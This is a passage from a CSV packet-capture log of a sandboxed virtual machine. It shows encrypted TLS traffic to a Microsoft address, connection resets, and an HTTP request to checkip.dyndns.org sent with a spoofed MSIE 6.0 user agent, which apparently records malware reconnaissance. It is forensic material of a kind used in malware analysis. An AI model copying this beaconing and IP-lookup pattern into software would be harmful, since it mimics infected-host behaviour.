data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x93\\\\xc2m]\\\\xa9!%\\\\xed\\\\x83\\\\xaf\\\\xd2V\\\\xf4aa\\\\x07\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\xab-1=\\\\xac\\\\xec\\\\x1ag\\\\x18\\\\x8ay\\\\'O\\\\xbf5:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:50.496041,13,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70940008006e94dc0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E....\t@....M..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46857, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59725, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:52.840695,14,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70a40008006e8b7c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68693c26d5da92125ed83afd256f4616107fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5ddab2d313dacec1a67188a79274fbf353a,\"RT.W..RT.{....E.. .\n@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46858, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59575, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x93\\\\xc2m]\\\\xa9!%\\\\xed\\\\x83\\\\xaf\\\\xd2V\\\\xf4aa\\\\x07\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\xab-1=\\\\xac\\\\xec\\\\x1ag\\\\x18\\\\x8ay\\\\'O\\\\xbf5:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:55.401634,15,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70b40008006e94bc0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....K..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46859, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59723, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:57.643960,16,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70c40008006e8b5c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68693c26d5da92125ed83afd256f4616107fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5ddab2d313dacec1a67188a79274fbf353a,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46860, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59573, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x93\\\\xc2m]\\\\xa9!%\\\\xed\\\\x83\\\\xaf\\\\xd2V\\\\xf4aa\\\\x07\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\xab-1=\\\\xac\\\\xec\\\\x1ag\\\\x18\\\\x8ay\\\\'O\\\\xbf5:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:05.073843,17,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3881783903 Ack=1692602478,525400577f945254007bb792080045000028b70d40008006e9acc0a87aa804d519f0c2eb01bbe75f525f64e3106e501400005a300000,\"RT.W..RT.{....E..(.\n@.......z.........._R_d..nP...Z0..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46861, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59820, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783903, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:07.281885,18,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3334411405 Ack=1369756557,525400577f945254007bb792080045000028b70e40008006e9abc0a87aa804d519f0c2e401bbc6bf148d51a4d38d501400005a300000,RT.W..RT.{....E..(..@.......z.............Q...P...Z0..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46862, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59819, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411405, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:47.390152,19,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,S,,,Ether > IP > TCP,3,TCP S Seq=3782496229 Ack=0,525400577f945254007bb792080045000034d28e4000800670b8c0a87aa884e2f749c3b40050e1744fe5000000008002faf0b7a30000020405b40103030801010402,RT.W..RT.{....E..4..@...p...z....I...P.tO.........................,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 53902, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28856, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496229, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 47011, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:22:47.390207,20,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3385608896 Ack=3782496230,5254007bb792525400577f94080045000034000040004006834784e2f749c0a87aa80050c3b4c9cc4ac0e1744fe68012a564b7a30000020405b40101040201030309,RT.{..RT.W....E..4..@.@..G...I..z..P....J..tO....d...............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 33607, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385608896, \"\"ack\"\": 3782496230, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 47011, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:22:47.390300,21,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782496230 Ack=3385608897,525400577f945254007bb792080045000028d28f4000800670c3c0a87aa884e2f749c3b40050e1744fe6c9cc4ac150100402b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tO...J.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53903, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28867, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496230, \"\"ack\"\": 3385608897, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:47.390637,22,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000bfd29040008006702bc0a87aa884e2f749c3b40050e1744fe6c9cc4ac150180402b82e0000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a0d0a,\"RT.W..RT.{....E.....@...p+..z....I...P.tO...J.P.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\nConnection: Keep-Alive\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 191, \"\"id\"\": 53904, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28715, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496230, \"\"ack\"\": 3385608897, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 47150, 